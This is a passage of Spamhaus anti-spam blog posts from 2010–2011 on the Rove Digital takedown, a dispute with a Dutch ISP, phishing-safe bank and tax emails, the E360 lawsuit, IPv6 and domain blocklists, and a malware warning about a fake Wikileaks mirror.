use. The DROP FAQ provides more details about its usage. The data in the DROP list can be used to either block any DNS (and perhaps other protocols) access to these rogue areas of the internet, or to log attempts to reach them and build a report the ISP can use to contact the user and inform them they seem to have a malware problem. This could also be done automatically by ISPs running a 'walled garden)' system to isolate and inform infected users. Certainly, the first line of defense against cybercrime malware should be an informed user with up-to-date anti-virus software, but as one can see from the millions infected by Rove Digital, that does not always work well. The ISPs' role can be that of a safety-net that catches users once they fall prey to the cybercriminals, and Spamhaus DROP list can be an important piece of that net. Further reading: FBI News announcement and press release Targeting Rove Digital: Operation Ghost Click (Spamhaus blog article) Cybercrime's U.S. Home (2008 Spamhaus blog article) Trend Micro's technical details on the Rove malware Learn more about the DNS Changer malware and how it can affect your computer (PDF) In the Wake of Estonian FBI Bust, Have You Checked Your DNS Settings? Check your DNS, now! Researchers Discover Link Between TDSS Rootkit and DNSchanger Trojan Noise Filter: Role of ISPs Questioned After DNSChanger Arrests Will Cybercrime Arrests Be a Deterrent?

Targeting Rove Digital: Operation Ghost Click

The Spamhaus Team — Wed, 09 Nov 2011 20:13:00 GMT

On November 9, 2011 the FBI announced the successful dismantling of a huge cybercrime network in an operation dubbed 'Ghost Click'. The target of this joint US and Estonian law enforcement operation is the ROKSO listed gang Rove Digital. Rove Digital ran a sophisticated operation in which malware changed the DNS settings on the victim's computers, resulting in innocent users being directed to different websites than they requested for a number of large web merchants, banks, and other companies with whom those users did business. The malware would also replace advertisements delivered by companies such as Google or Microsoft with ads from the Rove Digital gang promoting suspect products and services. This generated vast amounts of money for Rove Digital and stole from legitimate web advertisers and their clients. This allowed the Rove Digital gang to generate over 10-million US dollars of illicit gains. Moreover, in some cases the malware actually prevented end users from updating their anti-virus definitions, which prevented not only detection and removal of the Rove Digital malware, but also of other malware as well. Many parts of this criminal operation have been listed on our SBL Advisory list for a long time. Led by Vladimir Tsastsin, Rove Digital operated under many aliases; names such as Cernel, Esthost, Estdomain, and Ukrtelegroup have been well known amongst security researchers for years. The San Francisco-based "ISP" Atrivo/Intercage, operated by Emil Kacperski, provided bulletproof hosting for Rove on hundreds of IP addresses as early as September 2004. As many parts of this operation were hosted on US soil for many years, and as a large fraction of Rove Digital's malware-infected victims were in the US, it is especially gratifying to see US law enforcement now step in to put an end to this cybercrime operation. Spamhaus is proud to have been among the partners in this combined law enforcement, NGO and industry effort to make the internet a safer place for users world-wide. We congratulate everybody involved with this tremendous result, and particularly want to praise the effort made to minimize the impact of this takedown on the infected end users and the support services of their ISPs. This shows again that optimal results can best be achieved with public, private, and international cooperation. Cooperation of this nature is especially needed in complex cases like this one. Read more: FBI News announcement and press release Photos of the raid in Estonia Trend Micro blog on Rove takedown Brian Krebs on Rove takedown CyberCrime & Doing Time blog on Rove takedown Learn more about the DNS Changer malware and how it can affect your computer (PDF) Rove Digital ROKSO records Cybercrime's U.S. Home (2008 Spamhaus blog article) Public-private effort against cyberattacks could become a model for online safety

Who's Really Paying Cybercriminals?

The Spamhaus Team — Tue, 01 Nov 2011 16:57:00 GMT

This week sees the arrival of LondonCyber, a conference organised by the British Government's Foreign Office and reported to have been so thoroughly stage-managed that the media have been carefully kettled away in a special media centre to ensure they are not allowed to directly interact with any of the attendees. While many questions are being asked at that conference, we wonder whether the organisers will allow anyone to ask the question uppermost in Spamhaus' mind at the moment: namely, why have governments not constricted the flow of money to cybercriminals at the choke point of transaction processors (credit card processing banks)? As an example, and whatever view you take of the banks' action to withdraw the facilities used by Wikileaks (and on that topic Spamhaus has of course to be strictly neutral), there can be little doubt that their action was encouraged by the US Government. Transaction processors control the fund transfer services that cybercriminals use to purchase and receive their illicit goods and services. Researchers have thoroughly documented particular banks in Azerbaijan, Latvia and St Kitts and Nevis which are being used by the cybercriminals to receive payments for the bogus prescription drugs, fake anti-virus and fraudulent brand-name products they sell by means of spam and blackhat SEO. All this could be stopped in very short order if government agencies decided that they wanted it stopped. Transaction processors not only aid the flow of cash from spam and fraud victims to criminals, they are also subsidising their procurement activities. Cybercriminals need such large numbers of domain names to operate their botnets, spam runs and affiliate programs that the cost of those domain names would normally be a major expense for them. However, by using stolen payment cards that expense can be avoided. In the normal course of events it might be expected that fraudulent transactions would be refunded to the victims whose cards were used, and then charged back to the registrar or reseller who accepted the payment. And that--in the normal course of events--should encourage the registrars or resellers involved to be more careful about the authenticity of the payment cards they accept in their online system. However, based on discussions with several registrars, Spamhaus has recently discovered why this mechanism is totally ineffective. It seems that the transaction processors operate a "chargeback floor" below which it costs them more to charge a transaction back than the transaction itself is worth. So when the cybercriminals buy domains with stolen payment cards, they are careful to stay under the chargeback floor and thus ensure that the banks (and their customers)--rather than the registrars--bear the cost of their fraudulent transactions. Spamhaus believes it is high time that those channels for payments to the spammers and the chargeback floors which assist them in evading payment for services they use be reexamined to stop abusive transaction processors that are used by cybercriminals. If the banks don't want to do this, then governments should intervene and insist on it.

Dutch ISP Attempts False Police Report

The Spamhaus Team — Fri, 14 Oct 2011 06:26:00 GMT

If The Netherlands has penalties for filing false reports and wasting police time, Dutch ISP 'A2B Internet' will be looking at a hefty fine. The owner of the small Dutch transit ISP claimed on Tuesday 11 Oct to have filed a report with local police in the Dutch region of Zaanstreek-Waterland accusing Spamhaus of "extortion" and carrying out a "DoS attack" on his network. Spamhaus had flagged A2B Internet BV as a 'dirty ISP' which was knowingly selling internet connectivity to spam and crime outfits, and had listed one of A2B Internet's IP ranges on the Spamhaus Block List ("SBL") for persistently selling internet connectivity to spam and crime outfits. The SBL Advisory is a database of IP addresses used by almost three-quarters of Internet networks to filter incoming email traffic. Spamhaus places on the SBL IP addresses which do not meet its published policies and therefore from which Spamhaus does not recommend the acceptance of electronic mail. The SBL lists 4 categories of abuse: spam sources, spam hosts, spam services and spam support services. Per Spamhaus policy, on October 6th, after notifying A2B several times since June without results, an SBL listing which A2B had been ignoring was escalated to the SBL's "providing a spam support service" category and increased to include one of A2B's IP ranges. The escalated SBL record SBL112638 listed 178.249.152.0/21 for providing routing "knowingly and for profit" to a rogue host known as "CB3ROB" or "Cyberbunker", an outfit which Spamhaus has long seen involved in hosting cybercrime and spam outfits. SBL listings of CB3ROB had been mounting steadily during 2011 for hosting malware, phishing and websites selling fraudulent goods advertised via spam. CB3ROB had announced that it would not terminate customers due to spam listings - an announcement which sent a golden invitation to even more spam and crime customers to the point where all of CB3ROB was placed on the Spamhaus DROP ("Don't Route Or Peer") list at the beginning of October. (If the name sounds familiar, it is: CB3ROB A/K/A "CyberBunker" has a long history of run-ins with the law. It was also a host of the infamous "Russian Business Network" cyber-crime gang broken up by the FBI and other law enforcement agencies) Until Spamhaus finally escalated the SBL listing on October 6th, A2B Internet was also providing connectivity to a Chinese-based rogue host, idear4business.net, a "bullet-proof spam hosting provider" whose business also extended to selling counterfeit watches advertised via spam. Asked to cease providing service to the idear4business spam hosting outfit in June 2011, A2B Internet refused. A2B's Erik Bais told Spamhaus "IDEAR4BUSINESS is partly owned by the Chinese government. Under Chinese law, selling replicas isn't against the law". Mr Bias suggested to Spamhaus "there is always the option open for you to request a court order for a take-down under German law based on copyright infringement and/or trademark violation. CB3ROB as their initial transit provider is a German based company". (Spamhaus notes that in fact there is evidence that CB3ROB is actually run from The Netherlands and merely pretends to be German, perhaps to avoid interest from the Dutch authorities) After Spamhaus listed one of A2B Internet's IP ranges on the SBL on October 6th, A2B replied the next day that they had ceased providing transit to the spam and malware sites at CB3ROB. Spamhaus thanked A2B and removed the SBL listing. Two days later, almost certainly prompted by his CB3ROB customer, A2B's Erik Bais decided to try a ploy to circumvent further SBL listings for hosting rogue customers by filing a police report falsely claiming that Spamhaus had conducted a "DoS Attack" on A2B's network, had tried to "extort" A2B, and that the SBLs listing policies are "illegal" in The Netherlands. Mr Bais then emailed Spamhaus saying "If Spamhaus would limit (future SBL) listings to only the offending IPs" we would avoid "further escalation" from him. Spamhaus director Steve Linford responded to Bais's email saying: "Spamhaus SBL policies are very clear, have been unchanged for over 10 years and have always included a policy of escalation where the upstream is 'knowingly involved' (or 'tacitly involved') in keeping an abuse source connected to abuse Spamhaus's users. Spamhaus has a duty to protect SBL users from abuse and abusive networks. If you want your network to enjoy sending communications to Spamhaus SBL users, you must ensure your network respects our policies on spam/abuse." Often those engaged in profiting from abuse believe that getting around an SBL listing is a simple matter of threatening Spamhaus or its staff. Spreading false stories online or to the press and making fake legal threats are common. Filing a false police report however should ensure that A2B Internet now receives the attention it merits into its dealings with the spam and cybercrime outfits it has been selling transit to. With no irony lost, this week senior staff from Spamhaus and the Dutch high-tech crime-unit tasked to investigate the very criminal activity CB3ROB hosts and A2B Internet routed, were meeting together at an anti-cybercrime conference. CB3ROB, A2B Internet and the phishing, malware and counterfeit goods outfits both were tacitly servicing were discussed and Spamhaus handed its files on CB3ROB and A2B Internet to the Dutch NHTCU's investigator. A2B Internet's false tale of being "extorted" and hit with a "DoS attack" was a fib spun by an ISP whose financial interests seem to have rested with the rogue spam and cybercrime host he was selling transit to. Further information Although now no longer connected via A2B Internet, CB3ROB A/K/A "CyberBunker" is currently still on line - as are the spam and malware issues it was listed for. All IP space belonging to CB3ROB has been listed on the SBL for some time and is also on the Spamhaus DROP List. Spamhaus strongly advises networks who are not using SBL or DROP to take precautions to safeguard their users from CB3ROB IP space. Until either CB3ROB seriously cleans up their hosting or is closed down because of it, we advise that all data packets going to or from CB3ROB be regarded with extreme caution. Very few networks are willing to connect rogue hosts such as CB3ROB to the internet. Transit providers profiting from selling transit to CB3ROB included Ecatel.net, Grafix.nl, datahouse.nl and a2b-internet.com. The owner of a2b-internet.com, Erik Bais, is also the NOC manager for Grafix.nl, and is also the NOC manager for datahouse.nl - which underlines that three of the companies linked to CB3ROB have more than just some links in common. Spamhaus SBL Listing Policy Spamhaus SBL Listing Policy is published at SBL Listing Policy clause "Spam Support Services" states: "Spam Support Services - Services providing service to known spam operations listed on ROKSO, services providing 'bullet-proof hosting' for spam service purposes, services obfuscating or anonymising spam senders, services selling or providing hosting for the sales or distribution of spamware or address lists, and networks knowingly hosting spammers has either stated or de facto policy." 3rd Party corroboration of CB3ROB phish/scam/malware

Santander gets it mostly right

The Spamhaus Team — Mon, 03 Oct 2011 14:43:00 GMT

If one admonishes for poor practice, one should encourage better practice. On Friday we wrote about an email sent by the UK tax office the formatting of which was ill advised (see UK Tax Office Sends an Invitation to Phishers). The following Monday, Santander UK sends an email which gets it mostly right: So why's this better? Somewhat unfairly, much of that which makes it better is hidden from view but one obvious good point is plain for all to see: 'simply log on to Santander Online Banking and select "e-Documents" from the left-hand menu from the "My Accounts & Transactions" tab' No URLs, no links. You have to fire up a browser, type in Santander's URL and then navigate to the appropriate page. Not quite as convenient as a baked in link - but a lot more convenient if it avoids you losing significant amounts of money\*. While you wouldn't know it looking at the screen shot above, all the other links are simple text links which our email client has recognised as email addresses or URLs and has auto-magically converted into clickable links. As this is done on our machine by our email client, these links are going to be a case of what you see is what you get. Another good point is that if one's security minded, one can check the email headers to see quite clearly that the email has come from santander.co.uk: Received: from mm.sedoc.santander.co.uk (mm.sedoc.santander.co.uk [195.43.49.130]) by [cut] (Postfix) with ESMTP id [cut] for ; Mon, 3 Oct 2011 13:59:09 +0100 (BST) Good stuff. (To be absolutely clear here, the received header has to end with "santander.co.uk". If you see something like "santander.co.uk.somethingelse.com", run screaming for the hills). The not so good stuff is partly to do with better security and partly to do with style Security: Sending a message "To: undisclosed-recipients:;" is very generic and also used by spammers and phishers. Using the client's email address and name on the "To:" line is better practice. Also, good as the headers may look, using DKIM to validate the message & sender, or even SPF to validate the sending IP address & domain is strongly suggested. Style: If you say you're sending a multipart message, send a multipart message rather than a single part one. And how many times do you need to declare a font? 3 October 2011 But this is picking nits. From a security perspective, Santander's following good practice. (Next week, DKIM, SPF and secure DNS. Nah. Joking). \*To recap here, a favourite phishing trick is to offer a link in an email which when clicked on sends you to a destination website which impersonates the site you think you're going to. Unaware, you type in your access details and there you go, the bad guys have your access details to the legitimate site.

UK Tax Office Sends an Invitation to Phishers

The Spamhaus Team — Fri, 30 Sep 2011 12:45:00 GMT

Phishing. Broadly speaking, sending out emails which misdirect people to supply confidential information to miscreants. One such ruse in the UK has been to send out tax rebate emails purporting to come from the UK tax office, HMRC. So on Friday, in a stroke of genius, HMRC sent out the following: To our mind the key error here is supplying links in the email which can be altered behind the scenes to drop the unsuspecting onto malicious websites. While this email doesn't do that, it's setting up the expectation that HMRC will send out emails with inline links which people are expected to click on. If the link has been changed behind the scenes, where will you end up? Certainly not HMRC servers. More likely you'll end up on a site hosted in Russia or the Ukraine that pretends to be the UK's HMRC. If you're security minded, you can look at the raw email at which point another "error" comes to the fore. The email doesn't actually come from HMRC's servers, it comes from: Received: from BCEXCH.capitalcommunicationsgroup.net (unknown [213.208.84.131]) by [cut] (Postfix) with ESMTP id [cut] for ; Fri, 30 Sep 2011 12:14:54 +0100 (BST) Received: from CCGMSCTD ([192.168.1.20]) by BCEXCH.capitalcommunicationsgroup.net with Microsoft SMTPSVC(6.0.3790.4675); Who are capitalcommunicationsgroup.net? One has to assume they're the ESP ("Email Service Provider") appointed by HMRC to deliver their bulk email. Should one have to make these assumptions when we're talking about something as sensitive as tax? And then in the final line, HMRC have set up the expectation that a similar email will be sent out in February 2012. Surely to any self respecting phisher, this is a godsend? A couple of simple changes and you've got a very credible phishing email. While we do appreciate the difficulties faced by organisations when wishing to communicate with their customer base via email, we'd put this one forward as a text book case as to how not to do it.

Spamhaus Victory in Final Appeal in E360 Case

The Spamhaus Team — Mon, 05 Sep 2011 13:25:00 GMT

On the 2nd September 2011 Spamhaus was successful in its final appeal which reduced a baseless $11.7 million default judgment down to $3 (three dollars). Twice the US Court of Appeals for the Seventh Circuit vacated judgments against UK-based Spamhaus made by U.S. Federal Judge Charles Kocoras who had twice awarded fabricated 'lost profits' to a Chicago-based spam sender. In 2006 the spam sender, David Linhardt of (now-defunct) email marketing company E360 Insight LLC, had filed a lawsuit in the U.S. State of Illinois against UK-based Spamhaus Project, after Spamhaus repeatedly listed IP addresses associated with E360 on the Spamhaus Block List (SBL) for sending vast volumes of spam to Spamhaus users. E360 had set up an array of shell companies to hide its identity while sending millions of spam emails to promote counterfeit products sold on an E360-owned website, "bargaindepot.com". E360 spam was notorious not only for its volume and the ever-changing shell companies used to hide E360 as the source, but also for much of it being sent illegally via hijacked PCs around the world. Spamhaus engaged a U.S. law firm to have the case dismissed for obvious lack of jurisdiction. Unfortunately the law firm it hired made a procedural blunder which, under U.S. Federal Court rules they were inexperienced with, offered U.S. Federal Judge Charles Kocoras a way to sidestep the glaring issue of lack of jurisdiction and skip directly to issuing a default judgment against UK-based Spamhaus - over which in reality the U.S. Federal Court had no jurisdiction at all. Enter Jenner & Block LLP, the formidable Chicago-based law firm. On hearing of the case, Jenner & Block offered to represent Spamhaus pro-bono to appeal the $11.7 million default judgment. Jenner & Block lawyers embarked on an appeals case from a position many legal experts said was impossible and with remarkable skill and logic succeeded first in vacating the baseless $11.7 million award and then, when U.S. Federal Judge Charles Kocoras issued a new and again baseless $27,000 award, appealed for a second time reducing the new award to the minimum possible token value of $3 (three dollars). The Final Judgment by the US Court of Appeals for the Seventh Circuit for the second time vacated Judge Charles Kocoras's ruling and remanded the case to the District Court with instructions to reduce the judgment to the token amount of just three dollars. In addition, the legal costs of the appeal were granted in favor of the Spamhaus Project. The spam company, E360 Insight, went out of business in 2008/2009, after it had filed a series of 'SLAPP' lawsuits against internet users who had complained of receiving spam and called the company a "spammer" and lawsuit against US national internet service provider Comcast for blocking spam E360 was sending to Comcast customer email addresses. Losing all of the cases, E360 was then formally called a "spammer" by Illinois Federal Judge Zagel in his order finding for the defendant Comcast. The US Court of Appeals Final Judgment is here: A history of the E360 v. Spamhaus Project lawsuit is available at: Case Answer: e360Insight vs. The Spamhaus Project

Spamhaus Releases IPv6 Blocklists Strategy

The Spamhaus Team — Mon, 06 Jun 2011 14:00:00 GMT

The Spamhaus Project has released a document outlining Spamhaus' strategy with respect to Spamhaus' IP blocklists and their future in an IPv6 enabled world. Entitled "Spamhaus IPv6 Blocklists Strategy Statement", the document focuses exclusively on IPv6 DNS-based blocklists and gives technical details of how Spamhaus plans to implement them. The document draws attention to a potentially serious problem that can affect DNS caches once the world transitions to using IPv6 for email. The vast size of the IPv6 space means that spammers will be able to obtain huge allocations of IPv6 space to spam from and could then easily do "spread spectrum" spamming, using a different IP address for every message. This risks quickly overflowing DNS infrastructure worldwide. To guard against this, Spamhaus is developing a new robust and sophisticated DNS-based method of publishing blocklists for IPv6, using a 'B-tree' design. Spamhaus believes the IPv6 DNS cache overflow problem is serious and notes that the problem is not limited to DNS-based blocklists but extends to reverse DNS ("rDNS"), whereby if rDNS is allocated to vast IPv6 networks spammers can easily cause similar problems with DNS caches. The Spamhaus plan is to implement IPv6 DNSBLs in two stages, designed to allow users to continue using the negative reputation of IP addresses in IPv6 as one of the criteria to reject spam email at the server level, but at the same time also preventing damage to the world's DNS infrastructure. Spamhaus predicts that email will be among the last of the Internet protocols to move fully to IPv6 and that the move of the majority of email traffic to IPv6 will take many years. This is partly due to the very nature of SMTP's current usage. With mailservers handling email for large communities on relatively small numbers of IP addresses, IPv4 works perfectly and there has never been a need for massive numbers of IP addresses to host mailservers (unless one is spamming, of course). While today DNS-based blocklists are the work-horses of the spam filtering world, doing the majority of the 'heavy lifting' work before mailservers are burdened with content checks, in the future under IPv6 Spamhaus sees DNS-based blocklists as part of a more sophisticated system of checks. For a number of years Spamhaus has been working on new spam filter systems, which include new IP blocklists, IP "allow-to-the-next-level" lists (neither blacklists nor whitelists), domain blocklists and domain whitelists to be used in conjunction with DKIM. Though new designs such as IPv6 do present many problems when migrating to them, they can also offer opportunities to design a better way forward. Spamhaus' full strategy for filtering email in IPv6 - covering IP and domain blocklists, new reputation lists, domain whitelists and DKIM signing and reputation - will be detailed in a forthcoming 'strategy for filtering email in IPv6' document. Online Statement: Spamhaus IPv6 Blocklists Strategy Statement RFC 6177: IPv6 Address Assignment to End Sites *"It is no longer recommended that /128s be given out." "In practice, that means at least one /64, and in most cases significantly more."*

One year anniversary of the DBL brings a new zone

The Spamhaus Team — Thu, 03 Mar 2011 09:51:00 GMT

5 March 2011: One year ago this week, The Spamhaus Project released a new spam-blocking advisory list for the world's internet users. Its focus was on the domain side of email filtering. Called the Domain Block List, the DBL has now been in worldwide use for a full year. The reported results have been excellent with the domain filtering ability of the DBL helping "clean up" most of what the front line IP-address based lists may miss - and as with all our data, having virtually no false positives. The DBL design Following in the footsteps of two other excellent domain blocklists SURBL and URIBL, Spamhaus tailored the DBL to work specifically in conjunction with our IP address based lists. We also added some of our own tweaks to the way the our domain blocklist functions. These include a very fast turnaround time from bad domain detection, to the domain being listed in our global blocklist system: 60-seconds! This makes it harder for spammers who register and use thousands of domains to get them by email filters during a lag in the domain blocklist zone being built. Spamhaus also worked with SpamAssassin who released a version specifically with DBL support: SpamAssassin 3.3.1. This and newer SpamAssassin versions allow users to benefit from the DBL's special "wildcard" feature. Wildcarding defeats a trick spammers use called subdomaining. On one of their domains, they will create thousands of second-level subdomains (e.g. for example.ru, spammers could create spam1.example.ru, spam2.example.ru, spam3.example.ru, etc.). But with DBL wildcarding, once we detect example.ru as malicious, all its subdomains will also be reported to users as malicious. These features help detect far more spam emails and help drive up the costs to the spammers as domains, even very low cost ones, must still be purchased. Behind the scenes, Spamhaus uses data produced by the DBL to alert registrars to the spammer domains. Over the past year, Spamhaus working in cooperation with these progressive registrars have been able to disable hundreds of thousands of spammer domains. A New Problem... Due to the success of ISPs and email providers in preventing inbox delivered spam from domains in the DBL and other domain blocklists, spammers have resorted to new tactic: Using URL shortening services (such as bit.ly, is.gd, goo.gl, t.co) to shorten (hide) the real spammer domain/URL with a legitimate shortening service URL. There are hundreds or more of these URL shorteners (also called redirectors) on the web these days. The cybercriminal-type spammers have tracked down many of them and set up thousands of these short URLs to put in the body of their spams trying to avoid detection by the DBL and other domain blocklist systems. The spammers also know that by using these legitimate services, ISPs and email providers will be less inclined to block them as it can cause false positives. ...brings a New Solution One way to address this problem would have been to treat URL shortener domains the same way as any other spammed domain and include them in our main DBL zone. But, as mentioned, most of these URL shortener serve a legitimate purpose and are used in non-spam emailings. Spamhaus has always worked to avoid the blocklisting of assets that would cause unjustified false positives. Many URL shortener services have worked hard to eliminate the abuse of their systems. Using several methods they are able to vastly limit the large scale creation of URLs by spammers. Sadly, others have ignored this issue and we continue to see their URLs in millions of spam messages each day. The best solution was to give users a way to choose what they want to do with these spammed URL shorteners. Spamhaus created a new "URL shortener/redirector" zone in the DBL. By returning a specific code for this zone, filter designers and end-users of the Spamhaus DBL can decide what to do with the information. This may be to block fully, or to score email messages in a way to avoid false positives. How to use the DBL Please see our original DBL announcement and our DBL FAQ for information on how to implement the DBL and the new "URL shortener/redirector" zone. | | | --- | | Some DBL statistics | | Number of domains blocklisted by the DBL in 2010: | About 1.2 million | | Number of domains (on average) in the DBL on a given day: | Around 65,000 | | Number of domains added to the DBL on a given day: | Varies between 3,000 to 9,000 | | Top seven most common TLDs and ccTLDs in the DBL: | .info, .com, .ru, .net, .cc, .org & .tk | About Spamhaus The Spamhaus Project is an international nonprofit organization whose mission is to track the internet's spam operations, to provide dependable realtime anti-abuse protection for Internet networks and to work with Law Enforcement Agencies to identify and pursue spammers worldwide. The number of internet users whose mailboxes are currently protected by Spamhaus DNSBLs now exceeds 1.4 Billion. Founded in 1998, Spamhaus is based in Geneva, Switzerland and London, UK and is run by a dedicated team of 30 investigators and forensics specialists located in 9 countries. Article links: Approaching 100% spam block: Spamhaus releases the Domain Block List* The Spamhaus DBL* DBL FAQ (including notes for users and developers) SpamAssassin* SURBL* URIBL table.contacts { width: 680px; background-color: #fafafa; border: 1px #000000 solid; border-collapse: collapse; border-spacing: 0px; } td.contactDept { background-color: #ffcc00; border: 1px #000000 solid; font-family: Verdana; font-weight: bold; font-size: 12px; color: #404040; } td.contact { border-bottom: 1px #6699CC dotted; text-align: left; font-family: Verdana, sans-serif, Arial; font-weight: normal; font-size: .7em; color: #404040; background-color: #fafafa; padding-top: 4px; padding-bottom: 4px; padding-left: 8px; padding-right: 0px; }

Wikileaks Mirror Malware Warning

The Spamhaus Team — Tue, 14 Dec 2010 17:00:00 GMT

On Monday Spamhaus became aware that the main Wikileaks website, wikileaks.org, was redirecting web traffic to a 3rd party mirror site, mirror.wikileaks.info. This new web site is hosted in a very dangerous "neighborhood", Webalta's 92.241.160.0/19 IP address space, a "blackhat" network which Spamhaus believes caters primarily to, or is under the control of, Russian cybercriminals. Important: this warning is issued only for wikileaks.INFO, *NOT Wikileaks itself or any other Wikileaks site. Wikileaks.info is NOT connected with Julian Assange or the Wikileaks organization. For a list of real Wikileaks mirror sites please go to wikileaks.ch* The Webalta 92.241.160.0/19 netblock has been listed on the Spamhaus Block List (SBL) since October 2008. Spamhaus regards the Russian Webalta host (also known as Wahome) as being "blackhat" - a known cybercrime host from whose IP space Spamhaus only sees malware/virus hosting, botnet C&Cs, phishing and other cybercriminal activities. These include routing traffic for Russian cybercriminals who use malware to infect the computers of thousands of Russian citizens. The fact that recently some unknown person or persons decided to put a Wikileaks mirror on Webalta IP address 92.241.190.202 should raise an alarm; how was it placed there and by whom. Our concern is that any Wikileaks archive posted on a site that is hosted in Webalta space might be infected with malware. Since the main wikileaks.org website now transparently redirects visitors to mirror.wikileaks.info and thus directly into Webalta's controlled IP address space, there is substantial risk that any malware infection would spread widely. Spamhaus also notes that the DNS for wikileaks.info is controlled by Webalta's even more blackhat webhosting reseller "heihachi.net", as evidenced by the DNS records for the domain: wikileaks.info. 14400 IN A 92.241.190.202 wikileaks.info. 14400 IN NS ns2.heihachi.net. wikileaks.info. 14400 IN NS ns1.heihachi.net. Spamhaus has for over a year regarded Heihachi as an outfit run 'by criminals for criminals' in the same mould as the criminal Estdomains. The Panama-registered but Russian/German-run heihachi.net is highly involved in botnet command and control and the hosting of Russian cybercrime. We also note that the content at mirror.wikileaks.info is rather unlike what's at the real Wikileaks mirrors which suggests that the wikileaks.info site may not be under the control of Wikileaks itself, but rather some other group. You can find the real site at wikileaks.ch, wikileaks.is, wikileaks.nl, and many other mirror sites around the world. Spamhaus takes no political stand on the Wikileaks affair. We do have an interest in preventing spam and related types of internet abuse however and hope that the Wikileaks staff will quickly address the hosting issue to remove the possibility of cybercriminals using Wikileaks traffic for illicit purposes. More information on the SBL listing of Webalta's 92.241.160.0/19 is here: Spamhaus is not alone in issuing this Wikileaks mirror malware caution. On Sunday researcher Feike Hacquebord at fellow anti-spam system Trend Micro issued a similar warning in the Trend Micro Malware Blog. Update 15 December In a statement released today on wikileaks.info entitled "Spamhaus' False Allegations Against wikileaks.info", the person running the wikileaks.info site (which is not connected with Julian Assange or the real Wikileaks organization) called Spamhaus's information on his infamous cybercrime host "false" and "none of {your} business" and called on people to contact Spamhaus and "voice your opinion". Consequently Spamhaus has now received a number of emails some asking if we "want to be next", some telling us to stop blacklisting Wikileaks (obviously they don't understand that we never did) and others claiming we are "a pawn of US Government Agencies". None of the people who contacted us realised that the "Wikileaks press release" published on wikileaks.info was not written by Wikileaks and not issued by Wikileaks - but by the person running the wikileaks.info site only - the very site we are warning about. The site data, disks, connections and visitor traffic, are all under the control of the Heihachi cybercrime gang. There are more than 40 criminal-run sites operating on the same IP address as wikileaks.info, including carder-elite.biz, h4ck3rz.biz, elite-crew.net, and bank phishes paypal-securitycenter.com and postbank-kontodirekt.com. Because they are using a Wikileaks logo, many people thought that the "press release" was issued "by Wikileaks". In fact there has been no press release about this by Wikileaks and none of the official Wikileaks mirrors sites even recognise the wikileaks.info mirror. We wonder how long it will be before Wikileaks supporters wake up and start to question why wikileaks.info is not on the list of real Wikileaks mirrors at wikileaks.ch. **Currently wikileaks.info is serving highly sensitive leaked documents to the world, from a server fully controlled by Russian and German malware cybercriminals, to an audience that faithfully believes anything with a 'Wikileaks' logo on it. Spamhaus continues to warn Wikileaks readers to make sure they are viewing and downloading documents only from an official Wikileaks mirror site. We're not saying "don't go to Wikileaks" we're saying "Use the wikileaks.ch server instead".** function unhide(divID) { var item = document.getElementById(divID); if (item) { item.className=(item.className=='hidden')?'unhidden':'hidden'; } } .mystri {text-decoration: line-through;} .hidden { visibility: hidden; position : absolute; left : -1000px; } .unhidden { display: block; } Update 18 December \*\*\*Incorrect data redacted\*\*\* (click to read;)) [See update below for newer information on DDoS] A DDoS attack was launched on www.spamhaus.org today in retaliation for us warning Internet users about the Russian-German cyber criminals behind the Wikileaks mirror wikileaks.info. Spamhaus is currently under a 2.1Gbps DDoS attack which began at 05:20 CET. As we are used to DDoS attacks from cybercriminals our anti-ddos defences are holding and our web servers are still operating, a little slower than normal. By no coincidence, the 'AnonOps' DDoS group irc.anonops.net is also hosted by the same Heihachi Russian-German cybercrime gang in the same CIDR as wikileaks.info: wikileaks.info = 92.241.190.202 irc.anonops.net = 92.241.190.94 In addition to the LOIC and \*OIC tools issued to dimwitted script kiddies to DDoS "enemies of Anon" with, AnonOps appears to be now escalating its DDoS attacks using dedicated criminal botnets (botnets of illegally hijacked PCs), and now appears to be directing DDoS attacks not at "enemies of Wikileaks" but at "enemies of our criminal bosses". There is palpable irony in a DDoS being used to prevent exposure of a probably-false Wikileaks mirror that could potentially harm Wikileaks and Wikileaks readers. We hope that AnonOps supporters appreciate the irony as much as we do. Update 19 December After analyzing the traffic patters of the attempted DDoS attack against Spamhaus that started yesterday, we have concluded that the attack did not come from LOIC or another \OIC tool issued to script kiddies so that they can DDoS "enemies of Anon". The attack against us consists of UDP and Syn flood packets, which are not the profile of the \OIC tools. In addition, in some semi-private forums AnonOps members have denied responsibility for the DDoS. They have stated how much they hate spam and would not attack Spamhaus. It would seem some actually read and understood what our warning message was about. Rumors are that they have also distanced themselves from members who were promoting the use of botnets to attack sites. It now appears far more likely that the DDoS was the work of people running, or hosting at, the Heihachi cybercrime group. Possibly they were angered by the attention this article brought to their dirty section of the internet. When one hosts malware, Zeus/SpyEye and other botnet command and control (C&C) servers, phish sites and "backends", child pornography sites, and other types of abusive web sites, avoiding attention is a must. Perhaps Russian authorities will now take a closer look at this Heihachi and its host Webalta, as Russian citizens and banks are often the target of the abusive activities hosted there. As usual when we come under a DDoS, Spamhaus is working with both network experts and law-enforcement agencies to find and shut down the botnet used for the DDoS, and to try and track who may be behind it. Update 28 September 2011 The 3rd party mirror site, mirror.wikileaks.info is no longer hosted at the Heihachi cybercrime group. It has now moved to hosting a "cloudflare.com" in the USA. This should be safer.

Spamhaus forged (again) in malware phish attack

The Spamhaus Team — Mon, 29 Nov 2010 18:20:00 GMT

Spamhaus.org has been a frequent target of forged e-mails over the years and once again we're seeing a rise in those sorts of spam messages. This time email messages pretending to come from Spamhaus are a social engineering attempt ("phish") to lure victims into installing malware on their computers. Don't fall for it! Some things to be aware of if a message claims to be from Spamhaus.org: Spamhaus does not send notification of SBL listings to anyone except bona fide Point-Of-Contact addresses for ISP Abuse Desks. If you have not asked to receive such notifications or if your address does not appear in RIR (ARIN, RIPE, etc.) records for a top-level IP-block allocation or in The Network Abuse Clearinghouse, we will not send you SBL notification. We never send notifications for XBL, PBL, DBL or ROKSO listings. We do not send attachments in any automated messages. The only attachments which spamhaus.org ever sends are in person-to-person mail where we know the recipient and the recipient knows us, and is expecting to receive information in the attachment format. There is no "utility" to download or install in order to view or request removal of any listing in any of our DNSBL zones (SBL, XBL, PBL, DBL, Zen). We will never ask you to install an ".exe" file. Look-ups in our lists of IPs and domains are done via normal HTTP web-browsing. All you need is any common browser. SBL removals are handled via e-mail directly with the ISP (most of them know how to do so, routinely). SBL Notification messages are sent as plain text, never HTML: Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Mail from Spamhaus.org comes from spamhaus.org mail servers in this IP range: $ host 